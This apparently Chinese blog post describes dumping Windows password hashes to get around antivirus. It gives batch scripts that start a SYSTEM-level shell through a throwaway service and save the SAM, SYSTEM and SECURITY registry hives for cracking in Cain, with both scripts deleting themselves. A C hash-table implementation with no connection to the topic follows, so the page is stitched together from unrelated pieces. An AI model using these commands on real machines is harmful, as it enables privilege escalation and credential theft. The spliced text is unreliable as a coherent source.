另类抓win hash法

看到了一篇文章,提到导出注册表永CAIN来破密码,这对很多抓hash的工具被杀了,自己又不会做免杀的大牛来说,是个福音,其实这个很早以前就有了,貌似是老外提出了的,只是没有引起注意。

作者说这个方法不是通杀的:

Windows 2000 SP4 (admin) = access denied
Windows XP SP2 (admin) = access denied
Windows XP SP3 (admin) = access denied
Windows 2003 R2 SP2 (admin) = works
Windows Vista SP2 (UAC/admin) = works
Windows 2008 SP1 (admin) = works
Windows 7 (UAC/admin) = works

对用户权限有要求,默认XP SP3是导出不了的,我本地测试了,但是system权限是可以的,那么咱可以创建一个system权限运行的CMD,然后再导出就OK了。

其他系统上面没有测试过,大家自己整吧。

首先创建一个系统权限执行的CMD:

======================StartSystemCmd.bat=========

sc Create systemcmd binPath= "cmd /K start" type= own type= interact
sc start systemcmd
sc delete systemcmd
del %0

=======================END=========================

然后导出文件。

==================SaveReg.bat=======================

@echo off
reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive
del %0

=====================END============================

然后倒入到CAIN里面破吧。

下面是一个简单的线性探测哈希表的实现(C语言): ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #define TABLE_SIZE 1000 struct hash_node { char *key; char *value; }; struct hash_table { struct hash_node *table[TABLE_SIZE]; }; unsigned int hash_function(const char *key) { unsigned int hash = 0; int i; for (i = 0; i < strlen(key); i++) { hash += key[i]; hash += (hash << 10); hash ^= (hash >> 6); } hash += (hash << 3); hash ^= (hash >> 11); hash += (hash << 15); return hash % TABLE_SIZE; } struct hash_table *hash_create() { struct hash_table *hash = malloc(sizeof(struct hash_table)); int i; for (i = 0; i < TABLE_SIZE; i++) { hash->table[i] = NULL; } return hash; } void hash_destroy(struct hash_table *hash) { int i; for (i = 0; i < TABLE_SIZE; i++) { struct hash_node *node = hash->table[i]; if (node != NULL) { free(node->key); free(node->value); free(node); } } free(hash); } void hash_set(struct hash_table *hash, const char *key, const char *value) { unsigned int slot = hash_function(key); struct hash_node *node = hash->table[slot]; int i = 0; while (node != NULL) { if (strcmp(node->key, key) == 0) { free(node->value); node->value = strdup(value); return; } i++; slot = (slot + i) % TABLE_SIZE; node = hash->table[slot]; } node = malloc(sizeof(struct hash_node)); node->key = strdup(key); node->value = strdup(value); hash->table[slot] = node; } char *hash_get(struct hash_table *hash, const char *key) { unsigned int slot = hash_function(key); struct hash_node *node = hash->table[slot]; int i = 0; while (node != NULL) { if (strcmp(node->key, key) == 0) { return node->value; } i++; slot = (slot + i) % TABLE_SIZE; node = hash->table[slot]; } return NULL; } int main() { struct hash_table *hash = hash_create(); hash_set(hash, "name", "John"); hash_set(hash, "age", "30"); printf("Name: %s, Age: %s\n", hash_get(hash, "name"), hash_get(hash, "age")); hash_destroy(hash); return 0; } ``` 这个哈希表使用了一个简单的哈希函数,可以根据需要进行修改。在这个哈希表中,冲突的时候使用了线性探测来解决。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值